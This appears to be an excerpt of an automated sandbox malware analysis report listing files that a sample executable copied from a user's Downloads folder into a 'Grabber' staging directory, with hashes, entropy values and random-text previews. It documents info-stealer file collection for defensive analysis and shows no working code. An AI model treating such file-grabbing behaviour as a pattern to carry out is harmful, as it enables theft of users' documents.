                                                                                                                                                                          Preview:DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\EEGWXUHVUG.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.690299109915258
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
                                                                                                                                                                          MD5:F0D9DE697149ECBC1D88C7EA4841E5BD
                                                                                                                                                                          SHA1:06A2A47C12B3554397AA0C8F483411CAB366947D
                                                                                                                                                                          SHA-256:5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
                                                                                                                                                                          SHA-512:E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\EEGWXUHVUG.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.690299109915258
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
                                                                                                                                                                          MD5:F0D9DE697149ECBC1D88C7EA4841E5BD
                                                                                                                                                                          SHA1:06A2A47C12B3554397AA0C8F483411CAB366947D
                                                                                                                                                                          SHA-256:5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
                                                                                                                                                                          SHA-512:E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\EFOYFBOLXA.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.696178193607948
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
                                                                                                                                                                          MD5:960ECA5919CC00E1B4542A6E039F413E
                                                                                                                                                                          SHA1:2079091F1BDF5B543413D549EF9C47C5269659BA
                                                                                                                                                                          SHA-256:A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
                                                                                                                                                                          SHA-512:57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\EFOYFBOLXA.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.696178193607948
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
                                                                                                                                                                          MD5:960ECA5919CC00E1B4542A6E039F413E
                                                                                                                                                                          SHA1:2079091F1BDF5B543413D549EF9C47C5269659BA
                                                                                                                                                                          SHA-256:A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
                                                                                                                                                                          SHA-512:57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\EIVQSAOTAQ.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.692024230831571
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
                                                                                                                                                                          MD5:086908C2D2FAA8C9284EAB6D70682A47
                                                                                                                                                                          SHA1:1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
                                                                                                                                                                          SHA-256:40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
                                                                                                                                                                          SHA-512:02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\EWZCVGNOWT.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.690071120548773
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
                                                                                                                                                                          MD5:8F49644C9029260CF4D4802C90BA5CED
                                                                                                                                                                          SHA1:0A49DD925EF88BDEA0737A4151625525E247D315
                                                                                                                                                                          SHA-256:C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
                                                                                                                                                                          SHA-512:CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\GRXZDKKVDB.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.697358951122591
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
                                                                                                                                                                          MD5:244A1B624BD2C9C3A0D660425CB1F3C6
                                                                                                                                                                          SHA1:FB6C19991CC49A27F0277F54D88B4522F479BE5F
                                                                                                                                                                          SHA-256:E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
                                                                                                                                                                          SHA-512:9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\JDDHMPCDUJ.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.687055908915499
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
                                                                                                                                                                          MD5:94EDB575C55407C555A3F710DF2A8CB3
                                                                                                                                                                          SHA1:3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
                                                                                                                                                                          SHA-256:DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
                                                                                                                                                                          SHA-512:F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\PIVFAGEAAV.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.685942106278079
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
                                                                                                                                                                          MD5:3F6896A097F6B0AE6A2BF3826C813DFC
                                                                                                                                                                          SHA1:951214AB37DEA766005DD981B0B3D61F936B035B
                                                                                                                                                                          SHA-256:E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
                                                                                                                                                                          SHA-512:C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
                                                                                                                                                                          Malicious:false
